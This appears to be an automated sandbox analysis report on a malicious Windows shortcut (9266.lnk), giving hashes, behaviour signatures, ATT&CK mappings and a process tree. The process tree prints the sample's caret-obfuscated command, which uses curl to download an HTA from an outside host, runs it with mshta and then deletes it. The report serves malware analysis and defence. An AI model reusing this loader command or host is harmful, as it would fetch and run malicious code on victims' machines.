57f1dd931e9356ff434db7834082730bdc9884d884aa5b5b956f3040e3eb2a14

Analysis

max time kernel
298s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 03:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9266.lnk
Size 2KB
Sample260822-dtm72azhpd
SHA256 57f1dd931e9356ff434db7834082730bdc9884d884aa5b5b956f3040e3eb2a14
MD5 64a6e4692f4f6ed2190a5f236c58c086
SHA1 ce9e25d4f53907cc4e992034ee014d5083e8dd75
SHA512 1a36279279245ea23439a5e5d628dc18b1150229e7a376d5a9d8ee97d4469be6bd1284598fcab8f3b5526e55c6a822dbcbc68665671d026423e165f6aaf2e5dd
TLSH
T16B41EB6056F15B34F6BB0C7B8C766B25DA32FA119F268E1D11C5404C0861E68ED71F2E
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2872	cmd.exe
1032	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 3456	2872	cmd.exe	90
PID 3456 wrote to memory of 1032	3456	conhost.exe	91
PID 1032 wrote to memory of 4748	1032	cmd.exe	92
PID 1032 wrote to memory of 5320	1032	cmd.exe	93

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\9266.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless cmd /c "c^u^r^l -s -o C:\Users\Public\jddg.hta https://storesfilesonline.site/download.php?file=stage2.txt && m^s^h^t^a C:\Users\Public\jddg.hta && d^e^l C:\Users\Public\jddg.hta"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\System32\cmd.exe
    cmd /c "c^u^r^l -s -o C:\Users\Public\jddg.hta https://storesfilesonline.site/download.php?file=stage2.txt && m^s^h^t^a C:\Users\Public\jddg.hta && d^e^l C:\Users\Public\jddg.hta"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1032
  - - C:\Windows\system32\curl.exe
      curl -s -o C:\Users\Public\jddg.hta https://storesfilesonline.site/download.php?file=stage2.txt
      4⤵
      PID:4748
  - - C:\Windows\system32\mshta.exe
      mshta C:\Users\Public\jddg.hta
      4⤵
      PID:5320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

jddg.hta

Path C:\Users\Public\jddg.hta
Size 15B
SHA256 b14395003e5efba733d717f89486aee8222abf00b33190ea2d34e7b68d2bca73
MD5 003b3bb995c2451098869088630871df
SHA1 5d24783bc3514543ed9bd164e49f027d77b501f5
SHA512 d17b6a6f142440718be58e8bbc612955ca321eb2f04ffb59c5ddeb1cfac61a52a86c065fe765ec9eb1d58d48dafa8821b4cd5babceb7bdce211c5da30da84315
MD5 SHA1 SHA512

Submit Download